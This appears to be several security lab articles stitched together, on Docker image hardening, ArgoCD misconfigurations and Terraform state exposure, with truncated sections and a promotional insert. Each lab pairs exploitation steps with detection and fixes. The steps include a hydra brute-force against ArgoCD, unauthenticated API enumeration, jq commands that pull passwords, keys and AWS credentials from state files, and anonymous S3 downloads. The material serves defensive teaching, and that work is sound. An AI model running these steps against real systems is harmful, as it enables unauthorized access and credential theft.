We use real tools throughout -- hadolint, dockle, trivy, grype, cosign, syft, crane, dive, docker scout, conftest, kyverno, oras -- with actual command output and real check IDs. Every exploitation section shows what an attacker does in practice, not theory.

Table of Contents

Dockerfile and Build Security

1. Dockerfile Without USER Directive

2. Using :latest or Untagged Base Images

3. Secrets Baked into Image Layers

4. Bloated Images with Unnecessary Packages

5. No Vulnerability Scanning in Pipeline

6. Build Cache Leaking Sensitive Data

7. Dockerfile Without HEALTHCHECK

8. Using ADD Instead of COPY

9. Unnecessary EXPOSE and Port Binding

Image Trust and Supply Chain

10. Missing Image Signatures (Cosign)

11. No SBOM Attached to Images

12. Container Registry Public Access

13. Mutable Image Tags in Registry

14. ImagePullPolicy Misconfiguration

15. Missing Registry Authentication

16. ECR Missing Scanning and Lifecycle

17. Missing Build Provenance (SLSA)

18. No Dockerfile Linting in CI

Image Hardening and Analysis

19. Multi-Stage Build Secret Leakage

20. Base Image Typosquatting

21. Image Analysis with Docker Scout

22. Deep Image Scanning with Grype and Trivy

23. Hardening with Distroless Images

24. Building from Scratch

25. Missing Read-Only Root Filesystem

26. Missing no-new-privileges Flag

27. Image Size and Attack Surface

Admission Control and Pipelines

28. Kyverno Image Admission Policies

29. OPA Gatekeeper Image Constraints

30. Harbor Registry Security Configuration

31. BuildKit Security Features

32. Container Image Diff and Forensics

33. OCI Artifacts and Referrers API

34. Image Vulnerability Management at Scale

35. Complete Secure Image Pipeline (GitHub Actions)

Lab 01 — Dockerfile Without USER Directive

Field Value Lab Title Dockerfile Without USER Directive Risk Rating High MITRE ATT&CK T1611 — Escape to Host CIS Docker Benchmark 4.1 — Ensure a user for the container has been created Tools hadolint, dockle, docker inspect CVE Reference CVE-2019-5736 (runc container escape, requires root in container) Time to Complete 20 minutes

Writeup

When a Dockerfile has no USER directive, the container process runs as UID 0 — root. This is the Docker default, and it is a terrible default. Root inside the container can read shadow, install packages via the package manager, modify binaries on mounted volumes, and — in specific kernel/runtime configurations — escape to the host entirely.

CVE-2019-5736 demonstrated this concretely: a malicious container process running as root could overwrite the host runc binary through /proc/self/exe, gaining code execution on the host. The precondition was root inside the container. A non-root container user would have stopped the exploit cold.

We still see this pattern in production. Teams copy a Dockerfile from a tutorial, it works, nobody questions the privilege level. The container runs as root for months until an audit flags it.

Root Cause Analysis

The root cause is the absence of a USER directive in the Dockerfile. Docker defaults to UID 0 when no user is specified. Many base images (python, node, golang) ship without creating a non-root user, so unless the Dockerfile author explicitly creates one, everything runs as root.

Contributing factors:

• Base images default to root

• Local development “just works” with root — no permission errors

• No CI gate checking for USER directive

• Misconception that container isolation makes root safe

Vulnerable Configuration

# Dockerfile — no USER directive
FROM python:3.12-slim

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .

EXPOSE 8080
CMD ["python", "app.py"]

Build and run it:

docker build -t vuln-root-app .
docker run -d --name root-demo vuln-root-app

Exploitation

Step 1 — Confirm we are root

docker exec root-demo whoami

Expected output:

root

docker exec root-demo id

Expected output:

uid=0(root) gid=0(root) groups=0(root)

Step 2 — Read sensitive files

docker exec root-demo cat shadow

Expected output (truncated):

root:*:19750:0:99999:7:::
daemon:*:19750:0:99999:7:::
bin:*:19750:0:99999:7:::

A non-root user would get Permission denied.

Step 3 — Install arbitrary tools

docker exec root-demo apt-get update -qq && docker exec root-demo apt-get install -y -qq nmap netcat-openbsd

Root can install reconnaissance and lateral movement tools at runtime. This turns the container into an attack platform.

Step 4 — Modify application binaries

docker exec root-demo cp /bin/bash /app/app.py

Root can overwrite the application with anything. No file ownership protects against UID 0.

Step 5 — Inspect with docker inspect

docker inspect --format '{{.Config.User}}' root-demo

Expected output:

Empty string — no user configured.

Detection

hadolint catches the missing USER directive:

hadolint Dockerfile

Expected output:

Dockerfile:1 DL3002 warning: Last USER should not be root

Note: hadolint flags DL3002 when the last USER is root or when no USER exists at all.

dockle checks CIS benchmarks against built images:

dockle vuln-root-app

Expected output:

WARN  - CIS-DI-0001: Create a user for the container
      * Last user should not be root

docker inspect for runtime verification:

docker inspect --format '{{.Config.User}}' vuln-root-app

Returns empty string if no user is set.

Trivy misconfiguration scan on the Dockerfile:

trivy config --severity HIGH,CRITICAL Dockerfile

Flags the missing USER directive as a misconfiguration.

Solution

# Dockerfile — fixed with non-root user
FROM python:3.12-slim

# Create a non-root user and group
RUN groupadd --gid 1001 appgroup && \
    useradd --uid 1001 --gid appgroup --shell /bin/false --create-home appuser

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# Copy application files owned by the non-root user
COPY --chown=appuser:appgroup . .

# Drop to non-root before CMD
USER appuser

EXPOSE 8080
CMD ["python", "app.py"]

Key changes:

• groupadd and useradd create a dedicated user with a specific UID/GID

• --shell /bin/false prevents interactive login

• COPY --chown=appuser:appgroup sets file ownership at copy time (no extra RUN chown layer)

• USER appuser switches to non-root for all subsequent instructions and the runtime CMD

For Kubernetes, enforce this at the pod level too:

securityContext:
  runAsNonRoot: true
  runAsUser: 1001
  runAsGroup: 1001
  allowPrivilegeEscalation: false

Verification

docker build -t fixed-root-app .
docker run -d --name fixed-demo fixed-root-app

docker exec fixed-demo whoami

Expected output:

appuser

docker exec fixed-demo cat shadow

Expected output:

cat: shadow: Permission denied

docker inspect --format '{{.Config.User}}' fixed-root-app

Expected output:

appuser

hadolint Dockerfile

No DL3002 warning.

dockle fixed-root-app

CIS-DI-0001 no longer flagged.

Takeaway: Always set a non-root USER in your Dockerfile. It costs three lines and blocks an entire class of container escape attacks. Pair it with runAsNonRoot: true in Kubernetes to enforce the policy at orchestration level.

Lab 02 — Using :latest or Untagged Base Images

Field Value Lab Title Using :latest or Untagged Base Images Risk Rating Medium CIS Docker Benchmark 4.7 — Ensure update instructions are not used alone in the Dockerfile Tools hadolint, dockle, crane, docker inspect Related SLSA Supply Chain Levels, Sigstore cosign Time to Complete 20 minutes

Writeup

FROM python:latest and FROM node (no tag at all) are the same thing — they both resolve to the :latest tag, which is mutable. Today it points to Python 3.12.x. Next week it might point to 3.13.x. You have no control over what ends up in your image, and you cannot reproduce a previous build.

This is a supply chain problem. A mutable tag means every docker build can pull a different base image. If the upstream maintainer pushes a compromised or broken image to :latest, your next build silently inherits it. You won’t know until something breaks in production — or worse, until you find out during an incident.

Tags like 3.12 or 3.12-slim are better but still mutable. The maintainer can push a new 3.12-slim image with updated system packages at any time. The only immutable reference is a digest pin: FROM python:3.12-slim@sha256:abcdef....

Root Cause Analysis

The root cause is tag mutability in container registries. OCI registries allow tags to be overwritten — a tag is just a pointer to a manifest digest, and that pointer can change. Using a mutable tag in FROM means the build input is non-deterministic.

Contributing factors:

• Tutorials and quickstarts use :latest for simplicity

• Developers copy FROM lines without thinking about pinning

• No CI check for tag mutability

• Perceived inconvenience of updating digest pins (solved by Renovate/Dependabot)

Vulnerable Configuration

# Dockerfile — mutable base image tags
FROM python:latest

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .

CMD ["python", "app.py"]

Or even worse — no tag at all:

FROM python

WORKDIR /app
COPY . .
CMD ["python", "app.py"]

Exploitation

Step 1 — Show that :latest resolves differently over time

crane digest python:latest

Expected output (example — this changes):

sha256:a1b2c3d4e5f6...

Run it again a week later and the digest will differ if the maintainer pushed an update.

Step 2 — Build the same Dockerfile twice, get different images

docker build --no-cache -t myapp:build1 .
# Wait for upstream to update :latest, or simulate by editing the FROM
docker build --no-cache -t myapp:build2 .

docker inspect --format '{{.RootFS.Layers}}' myapp:build1
docker inspect --format '{{.RootFS.Layers}}' myapp:build2

Different layer digests — different base images pulled silently.

Step 3 — Show the hidden CVE difference

trivy image python:latest --severity CRITICAL -q

Expected output (varies by date):

Total: 14 (CRITICAL: 14)
┌──────────────────┬────────────────┬──────────┬───────────────────┐
│     Library      │ Vulnerability  │ Severity │ Installed Version │
├──────────────────┼────────────────┼──────────┼───────────────────┤
│ libexpat         │ CVE-2024-XXXXX │ CRITICAL │ 2.5.0-1           │
│ openssl          │ CVE-2024-XXXXX │ CRITICAL │ 3.0.13-1          │
└──────────────────┴────────────────┴──────────┴───────────────────┘

The :latest full image carries hundreds of packages and dozens of CVEs. You inherit them all without knowing which version you got.

Step 4 — Compare image sizes (attack surface indicator)

crane manifest python:latest | jq '.config.size'
crane manifest python:3.12-slim | jq '.config.size'

The full :latest image is often 3-5x larger than slim variants. More packages means more attack surface.

Detection

hadolint flags :latest and missing tags:

hadolint Dockerfile

Expected output:

Dockerfile:1 DL3007 warning: Using latest is prone to errors if the image will ever update. Pin the version explicitly to a release tag

dockle on the built image:

dockle myapp:build1

Expected output:

WARN  - DKL-DI-0006: Avoid latest tag

crane to retrieve the current digest of a tag:

crane digest python:3.12-slim

sha256:f5a1c8b9e7d2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0...

Use this digest in your Dockerfile pin.

Solution

# Dockerfile — pinned by digest
FROM python:3.12-slim@sha256:f5a1c8b9e7d2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .

USER nobody
CMD ["python", "app.py"]

Get the real digest:

crane digest python:3.12-slim
# Use the output in your FROM line

Automate digest updates with Renovate:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "docker": {
    "pinDigests": true
  },
  "packageRules": [
    {
      "matchDatasources": ["docker"],
      "matchUpdateTypes": ["digest"],
      "automerge": true,
      "schedule": ["before 6am on Monday"]
    }
  ]
}

Renovate detects new digests for pinned images and opens a PR automatically. You review the diff, merge, and your pin stays current.

Dependabot alternative (.github/dependabot.yml):

version: 2
updates:
  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"

Verification

hadolint Dockerfile

No DL3007 warning.

# Build twice — identical images
docker build --no-cache -t myapp:v1 .
docker build --no-cache -t myapp:v2 .

docker inspect --format '{{index .RepoDigests 0}}' myapp:v1
docker inspect --format '{{index .RepoDigests 0}}' myapp:v2

Both builds produce identical layer stacks because the base image is pinned to an immutable digest.

# Verify the digest matches what we pinned
crane digest python:3.12-slim@sha256:f5a1c8b9e7d2...

Returns the same digest — immutable.

dockle myapp:v1

No DKL-DI-0006 warning.

Takeaway: Pin base images by digest, not tag. Use Renovate or Dependabot to keep the pins current. This gives you reproducible builds and a clear audit trail of exactly which base image each build used.

Lab 03 — Secrets Baked into Image Layers

Read more

Before we start, shoutout to a platform we built for YOU!

💎 Your next level in cybersecurity isn’t a dream, it’s a proactive roadmap.

HADESS AI Career Coach turns ambition into expertise:

→ 390+ clear career blueprints from entry-level to leadership

→ 490+ in-demand skill modules + practical labs

→ Intelligent AI(Not AI buzz, applied AI, promise!) tools + real-world expert coaches and scenarios

Master the skills that matter. Land the roles that pay. Build the future you want.

🔥 Start engineering your career → https://career.hadess.io

let’s get start!

Each lab walks through a misconfiguration, shows exactly how an attacker exploits it, and gives you the fixed configuration with verification steps.

The first 15 labs focus on ArgoCD: default credentials, anonymous access, RBAC misconfigurations, insecure repository credentials, webhook abuse, auto-sync dangers, ApplicationSet injection, cluster secret exposure, missing TLS, network policy gaps, unrestricted project destinations, resource exclusion bypasses, SSO misconfigurations, missing audit logging, and Helm values injection.

Labs 16-30 cover GitHub Actions: script injection, pull_request_target abuse, overpermissioned GITHUB_TOKEN, hardcoded secrets, self-hosted runner breakouts, artifact poisoning, third-party action supply chain attacks, workflow dispatch injection, OIDC misconfiguration, privileged Docker-in-Docker, missing image signing, absent SBOM generation, environment protection bypass, fork PR secret exfiltration, and reusable workflow permission escalation.

Labs 31-35 cover real-world attacks from 2025: the ArtiPACKED artifact token leakage research from Unit42, the tj-actions/changed-files supply chain breach (CVE-2025-30066), GitHub OIDC claim manipulation from Palo Alto Networks research, action tag mutability attacks, and poisoned pipeline execution via pull_request_target -- the exact vector that started the tj-actions kill chain.

Every lab uses real tools -- kubectl, argocd CLI, actionlint, checkov, semgrep, cosign, trivy, gitleaks -- with actual commands and output. No simulated content.

Table of Contents

ArgoCD Security

1. Default Admin Credentials

2. Anonymous Access Enabled

3. Overpermissive RBAC Policies

4. Insecure Repository Credential Storage

5. Webhook Without Secret Validation

6. Auto-Sync Without Prune Protection

7. ApplicationSet Template Injection

8. Cluster Secret Exposure

9. API Server Without TLS

10. Missing Network Policies

11. Unrestricted Project Destinations

12. Resource Exclusion Bypass

13. SSO/OIDC Misconfiguration

14. Missing Audit Logging and Monitoring

15. Helm Values File Injection

GitHub Actions Security

16. Script Injection

17. pull_request_target Event Abuse

18. GITHUB_TOKEN Over-Permissioned

19. Hardcoded Secrets in Workflow Files

20. Self-Hosted Runner Breakout

21. Artifact Poisoning Attack

22. Third-Party Action Supply Chain Attack

23. Workflow Dispatch Input Injection

24. OIDC Token Misconfiguration

25. Docker-in-Docker Privileged CI

26. Missing Container Image Signing

27. No SBOM Generation in CI Pipeline

28. Environment Protection Bypass

29. Secret Exfiltration via Fork PRs

30. Reusable Workflow Permission Escalation

Real-World Attacks (2025)

31. GitHub Actions Artifact Token Leakage (ArtiPACKED)

32. tj-actions/changed-files Supply Chain Attack (CVE-2025-30066)

33. GitHub OIDC Claim Manipulation

34. GitHub Action Tag Mutability Attack

35. Poisoned Pipeline Execution via pull_request_target

Lab 01: ArgoCD Default Admin Credentials

When we install ArgoCD, the default admin password is set to the name of the argocd-server pod. This is documented behavior — not a bug — but it creates a predictable credential that an attacker with namespace read access (or a good guess) can exploit. The problem gets worse when teams set up SSO through Keycloak or Dex but forget to disable the built-in admin account afterward. We now have two authentication paths: SSO (which has MFA, audit logs, session management) and the local admin account (which has none of that).

There is no built-in password rotation policy. The argocd-initial-admin-secret Kubernetes secret persists until someone manually deletes it. We have seen production clusters running for months with this secret still present.

Root Cause Analysis

1. ArgoCD generates the initial admin password from the server pod name and stores it in argocd-initial-admin-secret

2. The admin account remains active even after SSO is configured — there is no automatic disablement

3. No account lockout mechanism exists by default — brute force is viable

4. The initial admin secret is never rotated or automatically cleaned up

Vulnerable Configuration

The default argocd-cm ConfigMap after a fresh install with SSO configured but admin still active:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  url: https://argocd.example.com
  oidc.config: |
    name: Keycloak
    issuer: https://keycloak.example.com/auth/realms/master
    clientID: argo
    clientSecret: $oidc.keycloak.clientSecret
    requestedScopes: ["openid", "profile", "email", "groups"]
  # NOTE: admin account is NOT disabled
  # accounts.admin.enabled is absent — defaults to "true"

The initial admin secret sitting in the namespace:

apiVersion: v1
kind: Secret
metadata:
  name: argocd-initial-admin-secret
  namespace: argocd
type: Opaque
data:
  password: YXJnb2NkLXNlcnZlci01Zjg3Njk4NjktNGo1bGg=  # base64 of pod name

Exploitation

Step 1: Recover the default password

If we have kubectl access to the namespace:

kubectl -n argocd get secret argocd-initial-admin-secret \
  -o jsonpath="{.data.password}" | base64 -d

Expected output:

argocd-server-5f8769869-4j5lh

Step 2: Log in with default credentials

argocd login argocd-server.argocd.svc.cluster.local \
  --username admin \
  --password argocd-server-5f8769869-4j5lh \
  --insecure

Expected output:

'admin:login' logged in successfully
Context 'argocd-server.argocd.svc.cluster.local' updated

Step 3: Verify admin-level access

argocd account can-i sync applications '*'
argocd account can-i create clusters '*'
argocd account can-i delete applications '*'

Expected output for all three:

yes

Step 4: Brute force demonstration (without kubectl access)

If the ArgoCD API is exposed (common in many deployments), we can brute-force the admin password. Pod names follow a predictable pattern:

# Generate candidate passwords based on known pod naming
# Pattern: argocd-server-<replicaset-hash>-<pod-hash>
hydra -l admin -P /tmp/argocd-passwords.txt \
  argocd.example.com https-form-post \
  "/api/v1/session:username=^USER^&password=^PASS^:Invalid"

Step 5: Extract cluster credentials after admin access

argocd cluster list
argocd repo list
argocd app list

Detection

Check if the initial admin secret still exists

kubectl -n argocd get secret argocd-initial-admin-secret 2>/dev/null && \
  echo "VULNERABLE: Initial admin secret still present" || \
  echo "OK: Initial admin secret deleted"

Check if admin account is disabled

kubectl -n argocd get configmap argocd-cm -o yaml | \
  grep -q "accounts.admin.enabled" && \
  echo "Admin account setting found" || \
  echo "VULNERABLE: Admin account enabled by default (no explicit disable)"

Check ArgoCD audit logs for admin logins

kubectl -n argocd logs deployment/argocd-server | \
  grep -i "admin" | grep -i "login"

Scan with checkov

checkov -d /path/to/argocd-manifests/ \
  --check CKV_K8S_35  # Ensure secrets are not stored in ConfigMaps

Monitor for brute force with failed login attempts

kubectl -n argocd logs deployment/argocd-server | \
  grep "authentication failed" | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -10

Solution

1. Delete the initial admin secret immediately after first login

kubectl -n argocd delete secret argocd-initial-admin-secret

2. Disable the admin account after SSO is configured

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  url: https://argocd.example.com
  admin.enabled: "false"
  oidc.config: |
    name: Keycloak
    issuer: https://keycloak.example.com/auth/realms/master
    clientID: argo
    clientSecret: $oidc.keycloak.clientSecret
    requestedScopes: ["openid", "profile", "email", "groups"]

3. If you must keep a local admin, set a bcrypt password and rotate it

# Generate a bcrypt hash
argocd account bcrypt --password 'Y0ur$tr0ng!Passw0rd#2026'

# Update the argocd-secret with the bcrypt hash
kubectl -n argocd patch secret argocd-secret \
  -p '{"stringData": {"admin.password": "$2a$10$rGJ...your-bcrypt-hash...", "admin.passwordMtime": "'$(date +%FT%T%Z)'"}}'

4. Configure account lockout via environment variables on argocd-server

apiVersion: apps/v1
kind: Deployment
metadata:
  name: argocd-server
  namespace: argocd
spec:
  template:
    spec:
      containers:
      - name: argocd-server
        env:
        - name: ARGOCD_SESSION_FAILURE_MAX_FAIL_COUNT
          value: "5"
        - name: ARGOCD_SESSION_MAX_CACHE_SIZE
          value: "1000"
        - name: ARGOCD_SESSION_FAILURE_WINDOW_SECONDS
          value: "300"

5. Map SSO groups to ArgoCD roles in argocd-rbac-cm

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:readonly
  policy.csv: |
    g, ArgoCDAdmins, role:admin
    g, Developers, role:readonly

Verification

After applying the fix:

# Confirm admin account is disabled
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.admin\.enabled}'
# Expected: false

# Confirm initial secret is gone
kubectl -n argocd get secret argocd-initial-admin-secret
# Expected: Error from server (NotFound)

# Attempt admin login — should fail
argocd login argocd-server.argocd.svc.cluster.local \
  --username admin --password anything --insecure
# Expected: rpc error: account admin is disabled

# Confirm SSO login still works
argocd login argocd-server.argocd.svc.cluster.local --sso --insecure
# Expected: redirects to Keycloak, login succeeds

Lab 02: ArgoCD Anonymous Access Enabled

ArgoCD supports anonymous access through the users.anonymous.enabled setting in the argocd-cm ConfigMap. When enabled, unauthenticated users inherit whatever role is specified in policy.default within the argocd-rbac-cm ConfigMap. On its own, anonymous access with role:readonly default might seem harmless — but in practice it exposes application names, repository URLs, cluster endpoints, deployment configurations, environment variables, and sync status to anyone who can reach the ArgoCD API.

The real danger comes when someone sets policy.default: role:admin (we cover this in Lab 03) alongside anonymous access. Now any unauthenticated user has full admin control over the entire ArgoCD instance. We have seen this combination in the wild — usually the result of a developer enabling anonymous access during local testing and the ConfigMap making it into a Helm values file or GitOps repo.

Root Cause Analysis

1. users.anonymous.enabled: "true" in argocd-cm disables authentication requirements entirely

2. Anonymous users inherit policy.default permissions — if that role is permissive, anonymous users get those permissions

3. ArgoCD does not warn or emit audit events when anonymous access is enabled

4. The ArgoCD API and gRPC endpoints serve full responses to unauthenticated requests when anonymous mode is active

Vulnerable Configuration

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  users.anonymous.enabled: "true"

Combined with an overly permissive default role:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:readonly

Or worse:

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:admin

Exploitation

Step 1: Identify ArgoCD API endpoint

# If exposed via Ingress or LoadBalancer
curl -sk https://argocd.example.com/api/version

Expected output:

{
  "Version": "v2.11.2+unknown",
  "BuildDate": "2024-06-07T17:38:30Z",
  "GitCommit": "a1b3c4d5e6f7",
  "GitTreeState": "clean",
  "GoVersion": "go1.22.4",
  "Compiler": "gc",
  "Platform": "linux/amd64"
}

Step 2: List all applications without authentication

curl -sk https://argocd.example.com/api/v1/applications | \
  jq '.items[].metadata.name'

Expected output:

"production-backend"
"staging-frontend"
"vault-demo-application"
"monitoring-stack"

Step 3: Extract application details (repo URLs, cluster endpoints, secrets references)

curl -sk https://argocd.example.com/api/v1/applications/production-backend | \
  jq '{
    repo: .spec.source.repoURL,
    path: .spec.source.path,
    cluster: .spec.destination.server,
    namespace: .spec.destination.namespace,
    syncPolicy: .spec.syncPolicy
  }'

Expected output:

{
  "repo": "https://github.com/acme-corp/k8s-deployments.git",
  "path": "production/backend",
  "cluster": "https://10.0.1.50:6443",
  "namespace": "production",
  "syncPolicy": {
    "automated": {
      "prune": true,
      "selfHeal": true
    }
  }
}

Step 4: List all registered clusters

curl -sk https://argocd.example.com/api/v1/clusters | \
  jq '.items[] | {name: .name, server: .server}'

Expected output:

{
  "name": "production-east",
  "server": "https://10.0.1.50:6443"
}
{
  "name": "staging-west",
  "server": "https://10.0.2.30:6443"
}

Step 5: List all connected repositories

curl -sk https://argocd.example.com/api/v1/repositories | \
  jq '.items[] | {repo: .repo, type: .type, connectionState: .connectionState.status}'

Expected output:

{
  "repo": "https://github.com/acme-corp/k8s-deployments.git",
  "type": "git",
  "connectionState": "Successful"
}

Step 6: If policy.default is role:admin — trigger a sync

curl -sk -X POST \
  https://argocd.example.com/api/v1/applications/production-backend/sync \
  -H "Content-Type: application/json" \
  -d '{"prune": false}'

Detection

Check if anonymous access is enabled

kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'

If the output is true, anonymous access is active.

Check the default policy role

kubectl -n argocd get configmap argocd-rbac-cm -o jsonpath='{.data.policy\.default}'

If the output is role:admin combined with anonymous access, this is a critical finding.

Test unauthenticated API access from outside the cluster

# Port-forward if not externally exposed
kubectl -n argocd port-forward svc/argocd-server 8443:443 &

curl -sk https://localhost:8443/api/v1/applications
# If you get a JSON response with application data, anonymous access is working
# If you get a 401, authentication is enforced

Audit ArgoCD server logs for anonymous requests

kubectl -n argocd logs deployment/argocd-server | \
  grep -i "anonymous" | tail -20

Scan with checkov

checkov -d /path/to/argocd-manifests/ --framework kubernetes

Solution

1. Disable anonymous access

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
data:
  users.anonymous.enabled: "false"

Apply:

kubectl apply -f argocd-cm.yaml

2. Set a restrictive default policy

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: ""
  policy.csv: |
    p, role:readonly, applications, get, */*, allow
    p, role:readonly, projects, get, *, allow
    p, role:devops, applications, *, */*, allow
    p, role:devops, clusters, get, *, allow
    p, role:devops, repositories, get, *, allow
    g, DevOps, role:devops
    g, Developers, role:readonly

Setting policy.default to an empty string means any user not explicitly mapped to a role gets zero permissions.

3. Enforce authentication at the network level

If ArgoCD is exposed through an Ingress, add authentication middleware:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: argocd-server
  namespace: argocd
  annotations:
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/auth-secret: argocd-basic-auth
    nginx.ingress.kubernetes.io/auth-realm: "ArgoCD Authentication Required"
spec:
  rules:
  - host: argocd.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: argocd-server
            port:
              number: 443

4. Restrict API access with NetworkPolicy

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-server-access
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-server
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          name: ingress-nginx
    ports:
    - port: 8080
    - port: 8443

Verification

# Confirm anonymous access is disabled
kubectl -n argocd get configmap argocd-cm \
  -o jsonpath='{.data.users\.anonymous\.enabled}'
# Expected: false (or empty/absent)

# Test unauthenticated API call
curl -sk https://argocd.example.com/api/v1/applications
# Expected: 401 Unauthorized

# Test authenticated API call
argocd login argocd.example.com --sso --insecure
argocd app list
# Expected: returns application list for authenticated user

# Verify default policy is restrictive
kubectl -n argocd get configmap argocd-rbac-cm \
  -o jsonpath='{.data.policy\.default}'
# Expected: empty string or "role:readonly"

Lab 03: ArgoCD Overpermissive RBAC Policies

Read more

In this article we wrote 40 hands-on labs that cover the security mistakes we keep finding in Terraform codebases. Each lab walks through a real misconfiguration, shows you exactly how an attacker exploits it, and gives you the fixed HCL with verification steps.

The labs span four areas: core Terraform security (state files, secrets, providers), AWS resource misconfigurations (S3, IAM, RDS, EC2, Lambda, and more), Azure and GCP resource security, and CI/CD pipeline hardening. We use real tools throughout -- tfsec, checkov, trivy, prowler, conftest, driftctl, and Sentinel -- with actual rule IDs and command output.

Every lab follows the same structure: vulnerable configuration, step-by-step exploitation, detection with real scanning tools, the fixed configuration, and verification that the fix works. No theory-only content. No fake tool output.

Terraform State File Exposure

Writeup

Terraform state files are the single most dangerous artifact in any IaC pipeline. The state file (terraform.tfstate) contains every resource attribute Terraform manages, and that includes secrets in plaintext: database passwords, API keys, TLS private keys, IAM access keys. By default, Terraform writes state to a local file on disk with no encryption.

We see this go wrong in two common patterns. First, teams store state locally and accidentally commit it to git. The .tfstate file ends up in a public or private repository, exposing every secret Terraform ever managed. Second, teams configure remote state backends but skip encryption and access controls -- an S3 bucket without versioning, without encryption, or worse, with public access enabled.

The terraform show command dumps the entire state in human-readable format, including every sensitive attribute. Running terraform state pull outputs raw JSON. Neither command filters secrets by default. If an attacker gains read access to the state file through any vector -- git history, misconfigured S3, shared CI/CD artifacts, developer laptops -- they own every credential in that infrastructure.

Root Cause Analysis

Terraform stores the full resource graph in state because it needs to map configuration to real-world resources. There is no mechanism in core Terraform to selectively exclude sensitive values from state. The sensitive = true flag on variables only masks output in the CLI -- it does not prevent the value from being written to state. Every aws_db_instance password, every tls_private_key PEM, every aws_iam_access_key secret ends up in state regardless of sensitivity markings.

The default backend is local, which writes terraform.tfstate to the working directory. No encryption. No access controls. No locking. Teams that never configure a remote backend end up with state files scattered across developer machines and CI runners.

Vulnerable Configuration

# main.tf - no backend configured (defaults to local state)
terraform {
  required_version = ">= 1.5"
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

provider "aws" {
  region = "us-east-1"
}

resource "aws_db_instance" "main" {
  identifier     = "production-db"
  engine         = "postgres"
  engine_version = "15.4"
  instance_class = "db.t3.medium"
  allocated_storage = 100

  db_name  = "appdb"
  username = "admin"
  password = "SuperSecret123!"  # Stored in plaintext in state

  skip_final_snapshot = true
}

resource "tls_private_key" "deploy" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

resource "aws_iam_access_key" "ci_deploy" {
  user = aws_iam_user.ci_deploy.name
}

resource "aws_iam_user" "ci_deploy" {
  name = "ci-deploy"
}

After terraform apply, the local terraform.tfstate contains:

cat terraform.tfstate | python3 -m json.tool | head -40

{
  "version": 4,
  "terraform_version": "1.7.0",
  "resources": [
    {
      "type": "aws_db_instance",
      "name": "main",
      "instances": [
        {
          "attributes": {
            "password": "SuperSecret123!",
            "username": "admin",
            "endpoint": "production-db.abc123.us-east-1.rds.amazonaws.com:5432"
          }
        }
      ]
    }
  ]
}

Remote state in an unprotected S3 bucket:

terraform {
  backend "s3" {
    bucket = "my-terraform-state"
    key    = "prod/terraform.tfstate"
    region = "us-east-1"
    # No encryption
    # No DynamoDB locking
    # No versioning on the bucket
    # No access restrictions
  }
}

Exploitation

Step 1: Discover state files in git history

# Search for state files in git
git log --all --full-history -- "*.tfstate"

Expected output:

commit 4a7f2e1b3c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f
Author: developer@company.com
Date:   Mon Jan 15 09:23:41 2024 -0500

    add terraform config

# Recover the state file from git history
git show 4a7f2e1:terraform.tfstate > recovered-state.json

Step 2: Extract secrets with jq

# Extract database passwords
jq -r '.resources[] | select(.type == "aws_db_instance") | .instances[].attributes | "\(.endpoint) \(.username):\(.password)"' recovered-state.json

Expected output:

production-db.abc123.us-east-1.rds.amazonaws.com:5432 admin:SuperSecret123!

# Extract IAM access keys
jq -r '.resources[] | select(.type == "aws_iam_access_key") | .instances[].attributes | "AWS_ACCESS_KEY_ID=\(.id)\nAWS_SECRET_ACCESS_KEY=\(.secret)"' recovered-state.json

Expected output:

AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Extract TLS private keys
jq -r '.resources[] | select(.type == "tls_private_key") | .instances[].attributes.private_key_pem' recovered-state.json

Expected output:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2Z3qX2BTLS4e...
-----END RSA PRIVATE KEY-----

Step 3: Enumerate public S3 state buckets

# Check if state bucket allows unauthenticated listing
aws s3 ls s3://my-terraform-state/ --no-sign-request

Expected output (if public):

                           PRE prod/
                           PRE staging/
                           PRE dev/

# Download state file from public bucket
aws s3 cp s3://my-terraform-state/prod/terraform.tfstate ./stolen-state.json --no-sign-request

Step 4: Use stolen credentials

# Connect to the database with extracted credentials
psql -h production-db.abc123.us-east-1.rds.amazonaws.com -U admin -d appdb
